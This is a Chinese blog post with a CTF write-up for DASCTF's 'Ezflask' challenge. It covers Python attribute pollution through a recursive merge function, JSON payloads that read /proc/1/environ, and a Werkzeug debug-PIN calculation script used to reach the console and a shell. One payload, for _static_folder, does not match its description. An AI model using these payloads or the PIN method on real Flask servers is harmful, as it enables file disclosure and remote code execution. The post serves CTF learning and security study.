首页 > 其他分享 >DASCTF复现 TODO

DASCTF复现 TODO

时间:2023-08-15 15:45:15浏览次数:34  
标签:__ username return TODO app 复现 DASCTF data dst

参考链接

原型链污染相关
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://tttang.com/archive/1876/
proc环境变量
https://www.anquanke.com/post/id/241148#h2-1
python内置属性
https://www.cnblogs.com/zhjblogs/p/14725666.html
PIN码构造
https://pysnow.cn/archives/170/
https://xz.aliyun.com/t/11647

Ezflask

题目信息

打开就是源码:

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

利用思路

看到merge函数,知道是python的原型链污染,在index()里可以读文件
后面分两种做法,读系统变量或者算PIN码

非预期

  1. 访问/register路由注册功能,发payload污染原型属性
  2. 访问首页,读取环境变量文件,获取flag

预期解

flask开了debug模式,可以进控制台、算PIN码

  1. 访问/register路由注册功能,发payload污染原型属性
  2. 访问首页,读取一系列文件,为算PIN码做准备
  3. 用脚本算出PIN码
  4. 访问/console获取权限

Payload

非预期

file

__init__被过滤了,但是json.loads()可以识别unicode,可以绕过
然后污染__file__属性,因为index()里可以用它读文件

{
    "username":"fuck",
    "password":"you",
    "__init_\u005f":{
        "__globals__":{
            "__file__":"../../../proc/1/environ"
        }
    }
}

1.访问注册功能,发payload污染路由
image.png
2.访问网页根目录读文件
image.png

_static_folder

还有另外一种方法,污染flask里的原型属性app._static_folder。
这个属性默认值是服务器上的"./static",假设访问http://localhost/static/xxx,等于访问服务器上./static/xxx文件,如果污染_static_folder="/",再访问http://localhost/static/xxx,就是访问服务器上/xxx了。

{
    "username":"fuck",
    "password":"you",
    "__init_\u005f":{
        "__globals__":{
            "app":"../../../aaaaaa"
        }
    }
}

1.访问注册功能,发payload污染路由
image.png
2.访问/static/xxxx,读取文件
image.png

预期解

读/etc/passwd得到用户名
image.png
读文件报错得到app.py的路径
image.png
读网卡地址
image.png
读machine-id
image.png
读container-id
image.png
算PIN码

import hashlib
from itertools import chain

# werkzeug2.0.x 高版本
probably_public_bits = [
    'root'  # /etc/passwd里找用户
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # moddir,读文件时,报错得到
]
"""
参数一:/sys/class/net/eth0/address 网卡地址转10进制
参数二:(/etc/machine-id || /proc/sys/kernel/random/boot_id) + (/proc/self/cgroup) 
       其中machine-id优先级大于boot_id,二者取其一
"""
private_bits = [
    str(int("3e:27:a9:b6:a7:61".replace(":", ""), 16)),
    '96cec10d3d9307792745ec3b85c89620' + "docker-0a9c35845909725f1ccc0a7d6f49b2875bce0e5398a2b006886823193b78d3c0.scope"

]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

image.png
getshell,获取flag
image.png

标签:__,username,return,TODO,app,复现,DASCTF,data,dst
From: https://www.cnblogs.com/sketchpl4ne/p/17631431.html

相关文章

  • fastjson反序列化 TODO
    参考链接fastjson反序列化入门文章https://tttang.com/archive/1579/https://xz.aliyun.com/t/12096ASM动态加载相关,如何查看内存生成的类的源码https://juejin.cn/post/6974566732224528392#heading-6https://blog.csdn.net/wjy160925/article/details/85288569关闭ASM去......
  • Apache Flink目录遍历漏洞复现CVE-2020-17519
    ApacheFlink目录遍历漏洞复现CVE-2020-17519前置知识ApacheFlink:ApacheFlink是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。漏洞利用条件:ApacheFlink版本为1.11.0......
  • python如何复现DES3加密
    importbase64fromCrypto.CipherimportDES3BS=8pad=lambdas:s+(BS-len(s)%BS)*chr(BS-len(s)%BS)#3DES的MODE_CBC模式下只有前24位有意义key=b'appapiche168comappapiche168comap'[0:24]iv=b'appapich'plaintext=pad("9f5......
  • 漏洞复现报告:CVE-2020-2551 IIOP反序列化漏洞
    1.漏洞描述: 2020年1月15日,Oracle发布了一系列的安全补丁,其中OracleWebLogicServer产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。Weblogic是一个服务器,可以做web服务器也可以做应用服务器WebLogic是美国Oracle公司出品的......
  • 记一次Thinkphp5.0.23复现过程
    环境:Windows11专业版22H2工具:phpStudy2018、thinkphp5.0.23、burp专业版、Firefox浏览器说明:一开始是打算使用linux中的docker上搭建靶场的奈何因为dockerhub是国外的弄了一天没拉取下来包只好去gitee把这个包下载下来使用win平台自己搭建一下了1.安装phpstudy2018和......
  • Nginx 解析漏洞复现
    Nginx解析漏洞复现Nginx解析漏洞复现版本信息:Nginx1.x最新版PHP7.x最新版由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。docker-composeup-ddocker-composeconfigdocker-composedown访问http://10.10.10.154/uploadfiles/nginx.png和ht......
  • [Vue warn]: Property or method "todoName" is not defined on the instance but ref
    错误原因先上报错截图报错翻译:解决办法首先需要保证初始化属性时该属性是被动的,两种情况是在数据选项中,是一些基于类的组件。在vue的template中使用了该属性,但是在data或者methods中还并没有被定义,就被使用了,造成了这个错误。在data中定义一下这个数据或者在met......
  • vue--day54--todolist 中的MyItem 和App 消息发布实现通信
    1.App.vue<template><divid="root"><divclass="todo-container"><divclass="todo-wrap"><!--@addTodo事件名addTodo回调名--><MyHeader@addTodo="addTodo"/><!--父亲给儿子传数据父亲通过数据绑定......
  • 漏洞复现报告:CVE-2022-0847 Linux 内核漏洞
    1.1漏洞信息表漏洞名称Linuxkernel安全漏洞发布时间2022年3月7日漏洞编号CVE-2022-0847威胁类型其他危害级别高危影响版本LinuxKernel5.8-5.16.11、5.8-5.15.25、5.8-5.10.102漏洞描述产品介绍:Linuxkernel是美国Linux基金会的开源操作系统Linux所使用的内核。是一个一体化内核......
  • 漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞
    Log4j2远程代码执行漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称Log4j2远程代码执行漏洞发布时间2021年12月10日漏洞编号CVE-2021-44228威胁类型远程代码执行危害级别高危影响版本ApacheLog4j22.0-2.15.0-rc1漏洞描述产品介绍:ApacheLog4j是一个Java日志框架,用于在应用......